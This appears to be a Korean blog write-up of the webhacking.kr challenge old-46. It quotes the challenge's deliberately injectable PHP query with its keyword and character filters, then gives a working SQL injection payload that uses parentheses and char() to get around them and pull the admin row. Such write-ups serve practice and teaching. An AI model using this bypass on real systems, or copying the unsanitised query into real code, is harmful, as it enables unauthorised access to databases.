DINGA DINGA
article thumbnail
Published 2021. 10. 2. 13:34
[Challenge(Old)] old-46 (30) WEB/Webhacking.kr
728x90

https://webhacking.kr/challenge/web-23/

 

Challenge 46

 

webhacking.kr

초기 화면이다.

level을 입력할 수 있는 창이 있다.

 

그대로 제출을 누르니 위와 같이 ltusy information과 money가 출력되었다.

 

소스코드를 살펴보았다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>
</body>
</html>

addslashes가 걸려 있고, str_replace 함수를 통해 공백, /, *, %를 제거한다.

id가 admin이 되면 문제가 해결된다.

 

level에 1~4의 값을 넣었을 때 db에 존재하는 것을 확인할 수 있는데,

따라서 lv에 5 이상의 값을 넣고, id를 admin으로 만들어주면 되겠다고 생각했다.

 

괄호와 char을 이용해 아래와 같이 입력했다. (char(97,100,109,105,110)은 admin과 같음)

(5)or(id)=char(97,100,109,105,110)

 

Clear!

728x90

'WEB > Webhacking.kr' 카테고리의 다른 글

[Challenge(Old)] old-55 (40)  (0) 2021.10.09
[Challenge(Old)] old-53 (35)  (0) 2021.10.09
[Challenge(Old)] old-35 (35)  (0) 2021.10.02
[Challenge(Old)] old-08 (35)  (0) 2021.09.25
[Challenge(Old)] old-07 (30)  (0) 2021.09.25